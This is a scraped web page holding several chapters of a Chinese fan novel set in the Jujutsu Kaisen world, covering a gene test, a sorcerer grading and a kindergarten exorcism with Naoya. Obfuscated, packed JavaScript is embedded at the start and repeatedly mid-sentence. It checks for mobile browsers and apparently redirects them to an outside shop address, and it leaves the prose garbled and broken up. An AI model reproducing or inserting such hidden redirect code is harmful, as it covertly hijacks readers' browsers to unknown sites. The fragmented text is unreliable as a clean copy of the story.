0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357222|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你注意到她的脸色不算太好。 “你干嘛呢?”你问她。 “……你看到那只鸟了吗?” 啊,原来是在找小鸟。 你挠挠脑袋,心里稍稍冒出了一点犹豫。但对维拉撒谎也没有必要吧?这么想着,你把什么都说出来了,告诉她小鸟的死亡,以及你还没有找到真正的凶手。 “不过嫌疑人倒是有几个。” 维拉微不可查地战栗着,紧紧攥成拳头的双手根本无法停止抖动。“比如谁?谁是嫌疑人?” “唔——健人之类的。” 好吧,你的心里其实只有一个嫌疑人而已,就是禅院健人没错。 维拉一下子不抖了,看起来像是松了口气。估计她也有和你一样的推测吧。 “现在,鸟在哪里?”她问。 “它最后的样子实在是太凄惨了,我怕你看到了会难过,所以就先埋起来了。你要去看看它吗?” “……嗯。” 小鸟的葬身之处没有墓碑,连小土包也没有。它太小了,小到足够让大地毫无痕迹地将其囊括。维拉盯着几乎连翻动痕迹都要消失无踪的地面,沉默着不知道在想什么。你的大脑则是空空的,什么都没在想。 过了一会儿,你听到维拉说,它是一只很好的鸟。 “是啊。”你认同这一点,“对了,最后它会飞了吗?” “……什么?” “我记得你说今天要把它放生的,但不确定它的翅膀恢复得怎么样。我在想,要是在生命的最后一刻还没学会飞翔,好像还挺可怜的。” 总有种很微妙的不完整感。 维拉低着头,沉默了片刻。看来你的询问唐突了。可还来不及说点什么挽回的话,她已开口了。 “不会。” 她的声音干巴巴的,是伤感在作祟吧。 “它没能飞出禅院家。” “这样啊……” 真是,让人伤心的结局呢。 “鸟都飞不出去的禅院家,我们谁也没可能离开的。”维拉忽然说,她一定是想到了自己,“我早就知道这种事了。” 你无法回答。可你忍不住想,或许你能够离开吧。 你从来都不是一个真正的“禅院”。你是五十里。 也可能不是。 能够解答这个问题的只有直哉了——没想到有朝一日还要仰仗他,想想真是有点微妙。 基因检测报告什么时候才能出来呢?你不确定,想来总要十天半个月吧。你每年的体检也要这么久才能得出结论。 既然有了预期,你决心不要表现得太多急切。话虽如此,你好像还是不可避免地有点过分想要知道结果。过了整整半个月都没有听到直哉提起这件事,你的目光已经忍不住在所有时候都黏在他的身上了。 终于,在二十天后,你干脆地堵住了他的去路。 “报告出来了吧?” 你果断地切入正题。 “快告诉我结论!” 32.基因相似度 直哉向来都讨厌性急的家伙,对此持有的厌恶程度直逼讨厌无能的女人。 而你性急,还是个无能的女人,能够登顶他的厌恶人士排行榜毫不意外,也难怪他不太想搭理你。 “你在说什么东西?” 他满不高兴地撇着嘴,还往旁边挪了两步,带着毫不掩饰的嫌弃表情与你拉开距离。 “你是不是五十里家的人,和我有什么关系?” 你们似乎完全不在同一个频道……诶? 你眨了眨眼,实在很纳闷,搞不懂他怎么一下子就变成了一副事不关己高高挂起的——要不是他和你多嘴说了孤儿论的传闻,你今天才不要在结束训练的时候堵在他的必经之路上,而后被他以很担心会跌份的尴尬态度拉到人少的角落里说悄悄话呢。 “不是你和我说要做基因检测的嘛。结果还没出来吗,还是说你压根就是把这件事完全忘记了?要是忘记的话,未免也太过分了吧,直哉。” “哦——” 答案是后者,却不是忘记做基因检测,而是直哉完全忘掉了自己随口一说的谎话。 拜托,他对你的事情才没有那么上心呢。 基因检测的报告其实早就出来了,就在你递交上五根宝贵头发的三天后——看嘛,加急服务果然能够完美地体现出自己的价值,直哉很庆幸自己多花了这点钱。 报告送到手上,迫不及待地翻开,暂且先跳过过分专业的Y染色体检测和连简称都看不懂的STR位点,直哉直接跳到结论,去看最重要的遗传相似度数据。 最终的遗传相似度是个很小的数字,甚至有点小得可怜,只有区区1.83%。 检测的主样本是你的头发,用于对比的基准则是来自直哉。 其实直哉也不是没想过,用老爹直毘人作为比对样本。不管怎么想,肯定还得是禅院家爱搞七捻三的家主最有可能和你共享最多的DNA信息,但想要拿到老爹的头发可要麻烦得多了,绝不是说几句一拍脑袋就能想出来的谎话就能唬过去的程度。反正直哉知道自己也是会成为禅院家主的人,用自己的DNA完全无妨。 可结果只有1.83%,这就是他和你之间的相似度了。 根据这个数据,得出的报告结论是,排除五代及以内表亲。 换言之,你们是完全没有血缘关系的陌生人,你身上几乎没有禅院家的痕迹。 高兴了吗?不好说,估计没有想象的那么感到松一口气吧。他依旧觉得困惑,为你在这个家得到的与其他女子截然不同的待遇感到不解。 直毘人太包容你这个外人了,为什么?你的体检也是总监部主持的,难道你的特殊待遇全都源于总监部吗? 想到这一层时,直哉便知道自己无法知道答案了,至少眼下还不能。 不过,未来一定能够知道吧。 无论是怎样的秘密,只要在未来进入总监部高层之后,自然全部都能知道了。家主配得知晓所有秘密。 这么想着,所有的忧虑都能够消失无踪了。他只要等待答案浮出水面就好了,他可不会承认自己有些好奇你的事情,过分急切地寻找关于你的答案也像是性急的表现。 都说过了,他讨厌性急的人。就算这个糟糕秉性放在完美的自己的身上,直哉也喜欢不起来。 这就是他果断地忘掉了基因检测一事的根本原因,直到你现在提起来为止。 “哦,你说这个啊。” 抛之脑后的记忆回来了,倒也不必用心对待,随便搪塞两句再重新丢掉就好了。 所以他说:“结果是,你是五十里家的小孩。” 你忽然感到一阵莫名的轻松,明明你从没质疑过自己的身份,此刻却还是忍不住绽开笑意,摆出一副“看嘛我就说嘛”的得意表情冲着直哉,像是在嘲笑他的多虑。直哉嘛,他懒得搭理你的挑衅,嗯嗯嗯随便应了几声。 “是啊,没办法拿这件事嘲笑你真的太可惜了。”他随口说。 但未来就能知道你的秘密了,到时候再嘲讽你吧。他心里想。 比秘密更重要的是年末的咒术师等级评定。禅院家的孩子通常在十三岁这一年开始首次参加等级评定,尽管常常有一大半人会无法通过,被咒术界的门槛拒绝,还不能被视作是真正的咒术师。 换言之,只要能够越过这道天堑,你就算是咒术师了。 成为咒术师不能算是你的使命,但的确是你能够来到禅院家、不那么幸福可好歹还是顺利长大了的根本原因。就在评定开始之前,直毘人还好好地敲打了你一番,让你用心考核,同时不要太走极端,决不能做出什么夸张的行径——其中包括了揍人。 看来他是知道你的拳头又多么坚硬且蛮不讲理。 “无论如何,我肯定是希望你尽早成为咒术师的。这是你证明自我的最有效途径。” 你点点头,“好。”不过,为什么要证明自己?你不太明白这部分内容的含义。 “不要辜负我对你的期待和担保。” “明白。” 直毘人对你寄予了一切好的情感,作为回报,你会回应他的期待,一举通过评测。但你不觉得是你有多么厉害,纯粹是评测简单吧。 连你都不觉得是自己的本事达标,也难怪其他人都不觉得你多么厉害。大家的焦点理所应当地都聚焦在了直哉的身上——他的表现极佳,直接祓除了仅作挑战用的三级咒灵,由此越过了四级的台阶,直接成为了三级咒术师。 “啊啊真不愧是禅院家的天才呢!” “您简直继承了直毘人大人的全部天赋!” “特级咒术师对您来说也一定只是小菜一碟吧。” 家里到处都弥漫着这种声音,足够把人捧上天了吧。你装没听到,同样也不嫌夸张的吹捧听着有多么不适。反正这些话语也不是说给你听的,不必放在心上。 直哉不满意你的反应。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360642|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你完全不会对人说好听话是吧?”他直接向你提出不满,“见不得我比你厉害这么多?” “没有吧。” 你的这句“没有”不是在否定自己见不得他的好,而是你不觉得他比你厉害更多。 去年维拉也参加了测评。那时她就和你说了,作为女性的你们所接受的测试,比其他男丁的难度更高。制定规则的老古板们理所应当地认为,性别导致的体力与理性差距是牵绊天赋的重要因素,所以才要对少之又少的渴望成为咒术师的女孩子严加挑选,末了还要说女孩子果然不如男性。是很讨人厌的行为。 维拉也击败了三级咒灵,可她没能成为三级咒术师。甚至她在禅院家的地位也没有因此提升,这大概就是她在测评的不多久之后就跑去染了一头白毛的最主要诱因吧——渴望自己变得更加突出一点,或是有种打破了禅院家陈腐规则的感觉,之类的? 而这也很可能是直哉跑去打耳洞的原因。往软软的耳垂上穿刺,真的很有种打破了禁忌的感觉。你肯定理解不了。 如果有人给了你穿刺的伤口,你会百分百回敬。就是这样。 换言之,如果成为了你的穿刺师,那这份工作可就没办法保证百分百的安全了。 成为了咒术师的你和平时完全一样——只是多了一重身份而已,能有什么不同的? 有变化的只会是你的日程。你再也用不着把差不多一整天的清醒时间都放在训练上了,家塾的课程也可以略过不去,实战经验显然更加重要。现在你终于可以跟着禅院家的其他咒术师一起去祓除咒灵了。 当然了,说是一起,你能做的不多。在“四级咒术师能力有限,现在还是好好地积累经验吧”的冠冕堂皇理由之下,你的差事被大幅度削减,常常都是帮忙搬搬咒具打打下手,正经的祓除动作是一个都做不出来,从头到尾咒力消耗量为零。好像挺惨,不过你你乐得自在。 反正都已经是咒术师了嘛,最重要的目标已经达成,哼哼! “嘿,五十里!” 负责后勤监督工作的惣人冲你挥挥手。 “有新任务了,来拿报告吧。” 没能成为咒术师的禅院家小孩,最好的结局是负责任务相关的后勤工作,有些类似辅助监督——不好的结局就不说了。混到了还算不错的差事,还用不着出生入死,这可能就是负责辅助监督工作的惣人一向心平气和,和谁的关系都很好的原因吧。他也是整个家里难得不嫌弃你的禅院,无需额外加上“之一”。 “对了,报告顺便拿去送给直哉少爷。” 他说着把和你手中完全相同的文件夹递过来。你“哦”一声接过,然后才冒出违和感。 “为什么要我送去给直哉。” “叫他‘直哉少爷’啦,不然他会生气的。”惣人好心提醒你,“当然是因为他也会参与进这次的任务里,所以才让你代为跑一趟的嘛。” 哦…… 哦!? 33.是合作吗 你和直哉要去执行同一份任务,且没有其他咒术师参与其中,这究竟是巧合使然,还是当事人又在盘算着什么坏事呢?说不好。 你倒是没往深处多想,从脑袋里冒出的最鲜明的念头只有“为什么”。 “为什么没有等级更高的咒术师在场?我记得三级咒术师不能独自进行祓除任务。”你说。 如果惣人用“你大概是记错了吧”之类的借口搪塞你,你也绝不会被唬过去。你坚信自己的认知绝对没错。 还好还好,惣人也不打算糊弄你。他换上了一副和平且虔诚的表情冲你笑笑,肯定了你的说法。 “不过。”话锋一转,“你该知道,直哉少爷的能力已经足够到二级的水平了,这可是第一次由他主导的祓除任务,你要好好帮忙才行哦。” 看来他刚才突然露出的那副虔诚模样是来自于对直哉的崇拜啊。 你肯定搞不懂惣人的心情,也不觉得这有什么好值得崇拜,毕竟你的困惑只被打消了一丁点,随即又冒出了更多更多。 “既然已经到了二级咒术师的水平,为什么他现在还不是二级咒术师?” “这个嘛——”惣人挠挠头,肯定是没有预料到你会这么问,只好尽力给出答案,“可能是想要藏巧?你知道的,所谓的怀玉之罪是很麻烦的嘛,家主肯定也不希望心爱的天才儿子遇到什么没有必要的坎坷。” 惣人的国文学得实在是太好了,成语都能信手拈来;相较之下你的文学能力貌似有点太过糟糕,怀玉之罪这么简单的词语你都要花上几秒钟进行艰难的回想,忍不住歪过头抓抓后脑勺。 “我不明白。” 惣人习惯性摆出了禅院家特有的那种瞧不起人的得意,“不明白我的意思,是吗?” 你觉得惣人大概不是故意露出这种欠揍面孔的,只是烂橘子的基因不自觉地探出了触角而已。考虑到他的得意面孔完全没有给你造成任何实质性的伤害——当然也不存在心灵伤害——你也懒得用相同的态度回敬他。 “藏巧的意思我明白,怀玉之罪我也懂。我只是不明白为什么要这么做。”你把眼睛睁得浑圆,摆出一副很专心的样子盯着他,“五条家的六眼为什么不藏巧?他早就是一级了吧。” “六眼那种程度的天才是藏不住的啦!”惣人摆摆手说。 “我知道。”你当然明白这种事,你想说的其实是,“既然直哉的天赋能藏住,不就意味着直哉不是那么天才的天才嘛。” “……” “所以没能当上二级咒术师纯粹只是因为他的实力还没够到二级的门槛,但大家又想哄他开心,所以才故意安排了这样的说辞和由他领导的祓除任务吧?” “……不不不不怎么可能是这样的你别瞎说了!” 惣人冷汗直冒,头皮都快绷得和保龄球一样硬了。你这家伙什么时候变得这么敏锐还读得懂空气了,还能把旁人心里藏着的小九九摸得如此清楚?他实在想不明白。毕竟,无论在禅院家哪个人的心中,对你的印象都是“不识好歹且情商堪忧的家伙”。 但你可能确实有点不识好歹,比如现在你就没能从惣人紧张的表情里读到他一点都不想继续这个话题的提示,自顾自继续说下去。 “不是吗?反正我真的想不通有能力的人为什么不爬到对应的位置上。”你说,“非要解释的话,要么就是直哉不喜欢当二级咒术师?” “哎哟哎哟你别说了!” 这下惣人真的忍不住了,扑上来赶忙想要捂住你的嘴,却被你轻巧躲过。没办法了,还是用礼仪教义压堵住你喋喋不休的嘴吧。 “你在直哉少爷面前可千万别这么说啊,他会生气的——保不齐还要迁怒到我哩!所以你也最好别在他的面前说到我的事情,算我求你!” 你眯着眼,很不满意,“想求我的话,就正经地求我。‘算我求你’是什么意思?那不就和没求我一样嘛。” “好……那我求你……” 和其他把男儿尊严刻进骨髓里的禅院不一样,惣人的自尊心是灵活的可拆卸版本,随时随地都可以轻而易举地放下,就算是面对外姓的你,也可以坦荡荡说一声“求你了”。 既然话都说到这个份上了,你会诚心诚意地同意的。 总之把任务的卷宗送去给了直哉,不过他不在,你懒得等待他回来,直接把文件夹透过熟悉的窗户丢进去,拍拍手上的灰尘就回去了。 此次的祓除行动还算简单,也没给你们留下多少准备时间,明天就该出发了。你决定好好睡上一觉,一只手还不忘放进床边的水盆里,抓紧时间用术式吸收更多的元素。 看嘛,你对于这场行动还是很上心的。 相较之下,直哉就有点太吊儿郎当了。他在预定出发的四十分钟之后才大摇大摆地过来,一坐进车里就用一副仿佛没有预料到你也在场的嫌弃目光瞥你,明明是他特地叫上你一同支援任务的。目的嘛,倒也简单,当然是为了在你的面前好好地炫耀一番自己的实力。 最好能够用压倒性的强大表现让你就此对他臣服,到时候你一定不复往日那副没大没小的样子! 越想越得意,直哉不自觉翘起了嘴角,露出笑容后才意识到他可一点都不想在你的面前露出好脸色,赶紧把扬起的嘴角做作地撇下去。 “我不想和你搭同一辆车子。”他扬起下巴,“换辆车。” 这话说得还挺严肃,带着微妙的不容抗拒的既视感,也难怪司机装作没听见似的不吭声。看来只能由你解释情况了。 “这会儿没有其他车可以用了,我们只能一起出发。”你在十五分钟之前就确定了这个事实,“我本来也想一个人先过去的——不知道你什么时候才会过来,光等在车上真的不是什么愉快的体验。可惜不行。” “……?” 什么,居然不是他嫌弃你的恼人存在,而是你先一步冒出了想要抛下他一个人独自出发的想法?直哉一下子光火了,嚷嚷着说,既然如此,那你干脆跟在车后面跑过来算了。 “跑步很累嘛,我不要。”你果断地拒绝,“我会留在车上,你想跑的话就跑吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364350|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可恶……顽石一块。 直哉气得牙痒痒,然而一切都是无可奈何。他太懂你了,知道你多么固执难啃,是绝不会轻易改变念头的那种性格。看来接下来的路程就只能和你呼吸同一个立方米内的空气了,真糟心。 “你坐过去!”他一指副驾驶,“我要一个人坐一排!” “好——好——知道你屁股很大的事实了——” 你把每一句应声的尾音都拖得好长,很配合地这就伸手去开门,可刚刚才摸到门把手,你忽然收回了手,不那么顺畅的从前排驾驶座中间的狭窄空隙之间钻了过去,光是看着都让人觉得好费劲。 直哉知道你为什么改变了心意,一定是担心他会在你下车的那一刻让司机加速启程把你丢下。 好巧,他确实这么想过。 计谋没得逞,谈不上失落,却也没那么高兴。直哉托着脑袋,把手肘支在窗框上,看着熟悉的街景从窗外掠过。他试图不去留意你的存在,不说话的你确实也很像是从头到尾都不存在,可你衣服上的气味总是会乘着空调风一起飘过来,似乎是樟脑丸留下的味道,不好闻也不难闻,闷得咽喉都在刺痛。真难受。 真该庆幸这段车程不远,忍忍也就过去了(居然要身为未来禅院当家的他忍耐真是太过分了!),车悠悠停在一栋幼儿园门口。这里就是咒灵出没的地点了。 小孩子的各种情绪塑造的咒灵,简单的小任务。 “如果有任何意外情况,请尽快和我联系。”司机惯例丢下这句话就把车开走了。 只有两个人——甚至还只是两个未成年小孩,你想——进行的祓除任务,真新鲜。你倒是不怎么害怕,先把帐布下,然后再跟上直哉的脚步,习惯性地每次迈出的脚尖都能越过他即将踩下的足印。你没有发现自己正在以微妙的差距走在直哉的前头。 至于直哉,他发现自己落于人后的事实了吗?可能吧。但他决定随你去。 他早就不打算纠正你了。懒得和不会改变的没礼貌家伙浪费口舌,他只关心眼下的任务。今天的成功一定会成为他咒术师生涯中浓墨重彩的一笔。 “咒灵在哪里出没?”他问你。 “一楼的玩具房。”你告诉他,“卷宗上写了的。” 直哉漫不经心地发出“哦”的一声,“我又没看。” 什么嘛,看来他不如你上心。 你扯扯嘴角,干脆地再往前大步迈进。这下你完完全全走在了直哉前面,摸出幼儿园的地图,果断承担起了带路的职责。直哉依然随你去。 玩具房不远,就在最角落的位置,有着一整面墙的落地窗,本该是阳光最充足的场所,此刻却显得格外阴沉,难以看清室内的情况。 直哉不知警惕为何物,一脚踹开窗户,光终于透入其中。玩具们排排坐在柔软的地毯上,齐整得近似方列,迫近的脚步声提醒了它们闯入者的存在。玩具们回过头,红色的眼睛在发光。 “哦——” 你感觉自己明白了一点什么。 “这是玩具总动员吧?” 34.这可不是合家欢电影 很明显,祓除咒灵的任务绝不能和合家欢动画电影作比较,毕竟这里不存在执行力超强的胡迪,也没有正义且五维图拉满的巴斯光年——你打心底觉得,每一个回过头向你们投来目光的不再可爱的玩具们,差不多都是大反派草莓熊这个等级的。 不知道是否应该感到害怕,虽然你的内心还算平静。 “嗯……直哉,你觉得我们要换个方式走进去吗?里面的情况貌似……不是很友好?” 你觉得自己的建议合理且靠谱,直哉却露出了嗤之以鼻的表情,八成是嫌你的行动方针太懦弱。 “你就是想逃了吧?没事,没事,”他故意说得很大度,只是表情完全没拧过来,看起来好格格不入,“我知道你们女孩子就是胆子小。这样吧,你就乖乖地躲到我的身后好了,隔岸观火也没事,反正我也不觉得你一个小姑娘能够搞定这一切。” 说出这种明褒暗贬的话语,是否早在直哉的计划之中呢?不好说。反正说了也没用,你可听不出其中蕴藏的阴阳怪气,还以为直哉送来的是纯粹的关心。 嗯,既然这么在乎你,看来他是真的很喜欢你呢——你的错误结论得到了加深。 谢天谢地,荒唐的念头你从不说出口,只摇了摇头,就事论事说:“我没想逃,小少年,当然也不害怕。恐惧是人和人之间的不同性格,我觉得和我是不是女孩子没有关系,小少年。” 直哉的脸一下子阴沉了下去,“说什么呢你?还有,你为什么叫我‘小少年’?” 这称呼简直别扭得要死。 你耸耸肩膀,“因为你刚才也一直在叫我‘小姑娘’。” 好嘛,这是以牙还牙——虽说你并未抱有此等复仇心思就是了。 说者无心听者有意,更何况你的听众是把自己的男儿尊严兼嫡子尊严兼继承人尊严摆在第一位的直哉,他理所应当地把“小少年”的称呼方式当做挑衅。但完全来不及火冒三丈,现状已然大变样。 咒灵们唧唧地地尖叫着,朝你们冲过来了。 好吧,真是越来越像是玩具总动员的设定了。 玩具们密密麻麻聚在一起,流水般涌出来,真不敢想被它们撞上身体会是多么可怕。直哉早就已经以他傲人的速度逃到了二楼,你也匆忙抓着窗框,把身子整个抬起来,不让自己碰到玩具们。但玩具潮似乎锁定你了,或许因为你是它们小红眼睛所局限的有限视野中的危险生物,也可能它们和禅院家忌库里的咒灵们一样,对你有着奇妙的青睐,一心想要和你贴贴。 危险生物,必须清除;或者和你贴贴也很好。 你可不知道自己变成了危险生物,也不乐意成为被咒灵贴贴的倒霉蛋,一心只想着快跑快跑,起码有上百只玩具追在你的身后,你实在不觉得自己能够一口气全部祓除,还是赶紧离开玩具们的追杀,然后和直哉汇合吧! 在你步履不停的忙碌之中,大脑也转得飞快,却完全没能冒出什么天才的招数,反倒自说自话地开始响起了前不久老是在电视上播放的洗脑广告曲。甩甩脑袋好不容易把魔性音符丢出去了,随即填上空白的变成了任务卷宗上写到的事件报告。 事件报告……这个应该比洗脑广告曲有价值一点,先不丢出去了。 发现幼儿园情况不对,是在上周,有孩子接连病倒,还总说骇人的怪话,玩具们也总是不在原位,某个晚上保安看到玩具们整整齐齐地摆在地上,如此齐整,简直像是正在上课。监控完全没拍到是谁造成了一切,却也足够成为能让咒术师前来观望一番的动机了。 早就做好心理准备了,祓除的对象只是三级咒灵而已,不必太紧张太担心——由小孩子们的怨念塑造成的诅咒能有多可怕?你宽慰自己,不慌不忙从口袋里摸出几枚硬币,掷向源源不断的玩具潮。 玩具们似乎增殖了,毛绒质感与亮面塑料掺杂在一起的队伍一眼望去看不到尽头。你一脚踩在单杠上,向硬币探出手,雷电从你的指尖落下。 感谢前不久的雷雨天,你储存了好多雷电。也要感谢你和雷电的好相性,在其他元素都只能被你的术式储存至多半个月的情况下,电能居然能够停留近乎无限的时间。 再度灼烧空气的雷电直直地奔向被你掷出的硬币,弹在凹凸不平的金属表面,瞬间喷溅开来,散成更多更多细小的电流,编织成了巨大的明黄色网络。你踏着电流的交叉点,一口气冲到了二楼,差点把伏在栏杆上偷看你窘迫模样的直哉撞倒。 还好,只是“差点”,直哉的双脚依然好好地立在地面上。没有“差点”也不算好的部分一定是,你行动太急,术式没能兜住储存物,不小心撒了点水在他的身上。 直哉的表情一下子不好了,下意识地想用袖子把衣服擦干净,刚抬起手又冒出了更多嫌弃,脸皱到差点变成葡萄干了。 “这次你的水是从哪里来的?”他得问个清楚。 “水龙头里接的。” 自来水吗?那倒是还行……不对不对不对什么还行,一点都不行才对,谁知道你是不是在撒谎!再说了,被你倒腾过的水肯定不正常啊! 直哉只想让你自己搞定他身上湿漉漉的烂摊子,无论是亲自擦干净还是立刻赶去给他买新衣服也行,总之决不能让他湿漉漉地继续接下来的工作。 在面对咒灵的时候思考这么无关紧要的事情,未免太奢侈了吧?玩具们可不想被你们这两个侵入者无视,尽管被雷电烤得焦黑,它们还是再度爬了起来,不再是平面流水般的形态,而是立了起来起来,轻而易举地爬上二楼,唧唧的声响更加刺耳,毛绒熊举起消防车玩具,云梯流淌下诡异的水分,八成是小孩子的口水,滴在栏杆上,在金属把手上灼烧出了一个洞。 “喂,五十里!”直哉瞬间忘记了湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367943|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漉漉衣裳的事情,指着走廊另一头,朝你发号施令,“你往那边跑,把它们引过去,这群怪物由我一人解决。” “好。” 你心里多多少少有点忧虑,譬如像是直哉的术式似乎不适合应对数量众多的敌人之类的,还有他一个人是不是真的能够搞定。 对于自己的安危,你倒是完全不担心——你肯定不会有事的嘛! 于是你拳打毛绒兔子,脚踢F1赛车模型。在做好了计划的情况下行动,一切都显得好顺遂,能追上你的玩具们也越来越少……不对,怎么没有玩具在追你了? 不知从什么时候开始,玩具们的目标落在了直哉的身上。乱七八糟的这些小东西如球体般凝聚起来,融成不见原型的婴儿形态,口水流得滴滴答答,带着腐蚀般的恶臭。原本还在追逐你的玩具也加入了融合的行列,凝聚到婴儿咒灵的身上,让它愈发显得庞大。 这家伙……绝对不止三级了吧。 真不想正视这一点,可直哉确实感到了自己几分钟之前的得心应手已经逐渐弱化成了力不从心。在庞大的诅咒身上,一时之间实在找不到破绽,任性孩子气的动作也毫无章法,根本不可能轻易预测。 要叫支援吗?不,不行。绝对不可以。 直哉摸出背后的咒具太刀。他一向不爱用武器,借用锋利外物所达成的胜利太像是当事人能力不足。可眼下没有更多的选择,比起惨兮兮的失败,就算是不正直的胜利,他也无所谓。 劈开填满公仔棉的婴儿手臂,转瞬裂口愈合。看来他还需要更快、更凌冽的攻击。没什么好担心的,这可不是什么难事。 直哉轻而易举地绘制出了自己的二十四帧行动,直直地劈开婴儿头颅。听到了噼里啪啦的声音,被棉花、塑料碎片与绒毛填满的这颗脑袋的裂口灼出了一层焦黑的痕迹,再也无法合拢痊愈。 在直哉一秒二十四帧的行动中,你的雷电出现在第十三帧,爬上挥舞的刀身,伴随着全力的一劈,流淌过咒灵身躯的每个角落。它破碎着,轰然倒下。你赶紧朝直哉跑过去。 “你还好吗,直哉!” 直哉可不乐意听到你欢快的声音,也完全不想被你关心。各方面都不如他(除了拳头)的家伙关心他干嘛?假惺惺的好恶心。 他露出烦躁的表情,朝你“嘁嘁”地摆手。“你硬掺和进来干什么?”他很不高兴,“我可没让你帮忙!” “我知道啊。是我主动想要帮你的。” “所以你做多余的事情干什么?” “因为……” 震动声。 你收起未尽的话语,习惯性地朝声音传来的方向看去,一只巨大的婴儿手猛得挥过来,瞬间把你扇倒。 准确地说,不是“扇倒”,而是“拍飞”,你切实地体会到了双脚离开地面的感觉,再度坠落时,身下是粘稠的流体。 35.手与手的榫卯结构 咒灵的回光返照实在不能小看,它的口水濡湿的沙坑也是一样。你想快点站起来,可越动弹就显得越深。胸腔已经被压住了,难以呼吸。 “直哉!” 你向他伸出手。 才不要救你。直哉会这么想。 你这么讨厌,没有人喜欢你。而且他那么希望你离开禅院家,死去也是一种离开,而且是再好不过的永久消失。所以,他一定不会救你。 但为什么,这番念头在他行动之后才冒出来?不管是后悔还是懊恼的心情,全都这么晚才来。也可能他的负面情绪到来得不算晚,纯粹只是因为无意识的行动实在太快。 当直哉紧紧握住你的手,试图将你拽出流沙时,他才开始迟迟地回想你的一切不好。 你暴戾、你没礼貌、你没大没小、你不尊重他。 还有,你喜欢他。 你的不好有那么多,你的糟糕罄竹难书。 可是,明明那么讨厌你,为什么还要回应你的求助?这本该是一个彻底摆脱的你的机会,不是吗? 直哉无法理解自己。说真的,他也很想松开手,可你过分温热的五指紧紧钳住了他的手掌。榫卯结构怎么在你们的指间搭建完成了?肯定想甩都甩不开吧。这简直是前所未有的依赖感,直哉居然忍不住愣了半秒钟,随后才被你紧张的大喊叫回现实世界。 “拽我一把呀!” 你很急。 光从表面的现状来看,陷在流沙里一动不动的你很像是把救援难题抛给了直哉,自己则是停在原地开启节能模式摆烂,但实际上你被流体凝固住的双腿直到此刻都还在不停试着踩上来。问题是,你的挣扎起不到半点作用,反而害得你沉得更深了,就算你知道掉进流沙的最佳自救方式是不再挣扎摊开四肢等待着浮力起效,可要是一动不动,你怎么才能漂浮上去呢?简直是悖论! 还是松不开你的手,真拿你没办法。直哉一脚踩在沙坑的边缘,勉强找到了最适合发力的姿势,用力往外拽,使劲到差点就要咬碎后槽牙。 真的,他很努力了,可你当真像是被每一粒流沙锁住了,他的投入的全部力气全都溶解在了里面,再怎么努力,你都纹丝不动,这种无力感简直和平常与你相处时一模一样。难道流沙就是你们之间关系的具象化?直哉一下子好火大。 至于他恼怒的对象,可能是一成不变的糟糕局势,也可能是付出了时间和精力却没能得到回报的不平等交易,也存在一丁点对于自己居然会下意识来帮忙的愤恨吧。 概率叠加在一起,变成了百分百的气恼,他忍不住冲你嚷嚷,还用全名喊你:“五十里鸣神,你也太重了吧!难道你是深藏不露的大肥猪吗?知道嘛,没有谁会喜欢一个肥猪的!” “我很喜欢肥猪啊!”你必须要为哺乳纲偶蹄目猪科猪属的这种家畜辩解几句,“猪可是很了不起也很美味的动物!你应该感激它把自己吃得这么胖以满足我们人类的食欲!” “谁在和你说猪的事情啊!”直哉真的要气死了,“我是说你像猪一样讨人厌还重得要死啊!” 事实证明,沉重的不只有你的体重而已,还有你的拳头——能知道这一点当然是因为你的拳头正在和他的脸颊拥有零距离的亲密接触。 “不许说我坏话!” 这就是你揍他的理由。 其实你还挺贴心的,这份贴心主要体现在你特地选择将拳头的落点放在直哉尚未退去婴儿肥的肉乎乎脸颊上,而没有瞄准更脆弱也更容易带来痛感的他的漂亮鼻子。 当然,你的贴心和想让直哉少受点苦的善意之心没有关系,纯粹是不想把他打晕。唯一的救兵晕过去了还怎么救你?你得把眼下自己的情况放在第一位进行考虑才行。 直哉下意识想要抬起手捂脸,可他的手还被你紧紧攥着,根本拔不出来,他干脆放弃了这个念头,只用肩膀艰难地蹭了蹭脸颊,痛感又被钝钝地拨弄了一遍。 可恶,你真是毫不留情。他在心里想。 不得不承认,他真的好久没挨你打了,不是因为他的肉搏能力终于超过了你,而是他最近几年貌似很少会直说那些让你生气的话,只用拐弯的冷嘲热讽损你。拐弯抹角的话语你可听不懂,所以也就没有动手。 